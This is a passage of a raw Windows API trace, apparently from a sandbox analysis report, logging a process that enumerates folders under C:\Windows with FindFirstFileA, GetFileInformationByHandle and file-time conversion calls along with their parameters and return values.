ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x148f6260, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x148f6260, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.671] GetFileType (hFile=0x1f0) returned 0x1 [0253.682] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\Windows\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x148f6260, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x148f6260, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.688] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\Windows\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1491c3c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1491c3c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.695] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1491c3c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1491c3c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.696] GetFileType (hFile=0x1f0) returned 0x1 [0253.701] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x14942520, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14942520, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.702] GetFileType (hFile=0x1f0) returned 0x1 [0253.714] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMEJP10\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14968680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14968680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.721] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMEJP10\\DICTS\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14968680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14968680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.726] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMEJP10\\help\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14968680, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14968680, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.727] GetFileType (hFile=0x1f0) returned 0x1 [0253.731] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\imekr8\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1498e7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1498e7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.732] GetFileType (hFile=0x178) returned 0x1 [0253.736] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\imekr8\\dicts\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1498e7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1498e7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.738] GetFileType (hFile=0x178) returned 0x1 [0253.743] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\imekr8\\help\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1498e7e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1498e7e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.744] GetFileType (hFile=0x1f0) returned 0x1 [0253.752] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMESC5\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x149b4940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x149b4940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.759] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMESC5\\DICTS\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4b7f56, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x149b4940, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x149b4940, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.766] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMESC5\\HELP\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4b7f56, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x149daaa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x149daaa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.767] GetFileType (hFile=0x1f0) returned 0x1 [0253.773] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMETC10\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4de0b0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x149daaa0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x149daaa0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.780] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMETC10\\DICTS\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4de0b0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14a00c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a00c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.781] GetFileType (hFile=0x178) returned 0x1 [0253.787] FindFirstFileA (in: lpFileName="C:\\\\Windows\\IME\\IMETC10\\HELP\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14a00c00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a00c00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.793] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14a26d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a26d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.801] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Data\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14a26d60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a26d60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.802] GetFileType (hFile=0x178) returned 0x1 [0253.808] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Data\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14a4cec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a4cec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.809] GetFileType (hFile=0x178) returned 0x1 [0253.815] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Data\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x14a4cec0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a4cec0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.816] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.816] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.816] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.816] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.817] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.817] CloseHandle (hObject=0x178) returned 1 [0253.824] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14a73020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a73020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.825] GetFileType (hFile=0x178) returned 0x1 [0253.831] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe52a364, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x14a73020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a73020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.831] GetFileType (hFile=0x178) returned 0x1 [0253.838] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x14a73020, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a73020, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.839] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.839] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.839] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.839] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.839] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.839] CloseHandle (hObject=0x178) returned 1 [0253.846] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14a99180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a99180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.848] GetFileType (hFile=0x178) returned 0x1 [0253.854] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0001\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14a99180, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14a99180, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.855] GetFileType (hFile=0x178) returned 0x1 [0253.861] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0004\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14abf2e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14abf2e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.865] GetFileType (hFile=0x178) returned 0x1 [0253.872] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14ae5440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ae5440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.873] GetFileType (hFile=0x178) returned 0x1 [0253.880] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0006\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14ae5440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14ae5440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.881] GetFileType (hFile=0x178) returned 0x1 [0253.886] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0007\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b0b5a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b0b5a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.887] GetFileType (hFile=0x178) returned 0x1 [0253.892] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0008\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b0b5a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b0b5a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.892] GetFileType (hFile=0x178) returned 0x1 [0253.898] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b0b5a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b0b5a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.899] GetFileType (hFile=0x178) returned 0x1 [0253.905] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000A\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b31700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b31700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.907] GetFileType (hFile=0x178) returned 0x1 [0253.911] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000B\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b31700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b31700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.912] GetFileType (hFile=0x178) returned 0x1 [0253.916] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000C\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b31700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b31700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.917] GetFileType (hFile=0x178) returned 0x1 [0253.922] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b57860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b57860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.926] GetFileType (hFile=0x178) returned 0x1 [0253.930] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\000E\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b57860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b57860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.932] GetFileType (hFile=0x178) returned 0x1 [0253.938] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0010\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1d5a80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x14b7d9c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b7d9c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.938] GetFileType (hFile=0x178) returned 0x1 [0253.946] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\.NET CLR Networking 4.0.0.0\\0011\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b1fbbe0, ftCreationTime.dwHighDateTime=0x1d2e675, 